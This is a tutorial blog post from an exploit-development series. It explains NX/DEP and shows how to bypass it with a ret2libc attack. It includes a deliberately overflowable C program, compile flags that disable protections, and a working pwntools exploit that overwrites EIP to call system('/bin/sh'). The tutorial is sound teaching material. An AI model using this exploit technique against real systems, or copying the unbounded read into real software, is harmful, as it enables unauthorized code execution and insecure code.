In this post we are going to learn an exploit mitigation technique: what it is and how to bypass it.

New to the series? check out my previous posts here.

No Execute

Last time, we put shellcode on the stack and called it to get code execution.
In modern binaries, usually what happens is that the stack is not executable, means we can put something on the stack but it will only be considered a piece of data by the program and not some cpu instruction. This technique is called NX (No eXecute) or DEP (Data Execution Prevention).

Although the data on the stack is not executable, making a function call and passing required/desired arguments is still allowed. We’re going to make use of this fact.

When we are writing code for a program, we don’t write code for print and such functions. They are said to be built-ins. When we compile the program, the compiler links the program to a library (shared object) in which it would be able to find definitions of those functions during execution.
Such programs are termed as Dynamically Linked which we mostly deal with, while on the contrary are Statically Linked programs which we won’t discuss right now.

Most of the C programs - whether it’s x86 or x64 - rely on libc, the default C library.

We can see the shared objects (libraries) being used by a program, with the ldd command
Terminal

Since during the program execution, the program is making use of library functions, so the library (libc) is mapped in memory. We can abuse this by finding memory addresses and making calls to other functions present in the library as per our need.
print, write, system, exit, etc are some of the functions present in the libc out of which, for now, we are most interested in system.
This technique is called return2libc, ret2libc or ret2system.

Setup

Using the code from previous exercise:

vulnerable.c
#include <stdio.h>
#include <unistd.h>

int overflow(){
    char buffer[500];
    int userinput;
    userinput = read(0, buffer, 700);
    printf("\nUser provided %d bytes. Buffer content is: %s\n", userinput, buffer);
    return 0; 
}

int main(int argc, char *argv[]){
    overflow();
    return 0;
}

Compile with the command:

Terminal
gcc -m32 -fno-stack-protector vulnerable.c -o vulnerable

Notice that we are not using the -z execstack flag anymore, which makes the stack executable.

Our program has following protections:

Terminal

Before proceeding any further, remember to disable ASLR.

Exploitation

We find the offset of EIP to be 516. You know how, right?

We want to execute system("/bin/sh") for which we are going to overwrite the EIP with the address of the system function, and then we’ll give the return address which can be anything (e.g JUNK) but we will keep it to be the address of the exit function so that our program terminates nicely. Lastly, we will give the function arguments which, in present case, would be the address of the /bin/sh string.
Remember stack alignment? revise here

With the vmmap command in gdb, we can confirm that the libc/certain sections of libc are loaded into the program
Terminal

Let’s get our required memory addresses with gdb:

Terminal

Now that we have all we needed, let’s construct our exploit:

exploit.py
from pwn import *

exe = "./vulnerable"
elf = context.binary = ELF(exe,checksec=False)

system_addr = 0xf7dff040
exit_addr = 0xf7df1990
binsh_addr = 0xf7f46338

padding = "A"*516

payload = flat(padding, system_addr, exit_addr, binsh_addr)

#write("payload",payload)
io = process(exe)
io.sendline(payload)
io.interactive()

Let’s run the exploit:

Terminal
And.. Yea! we got our shell 🔥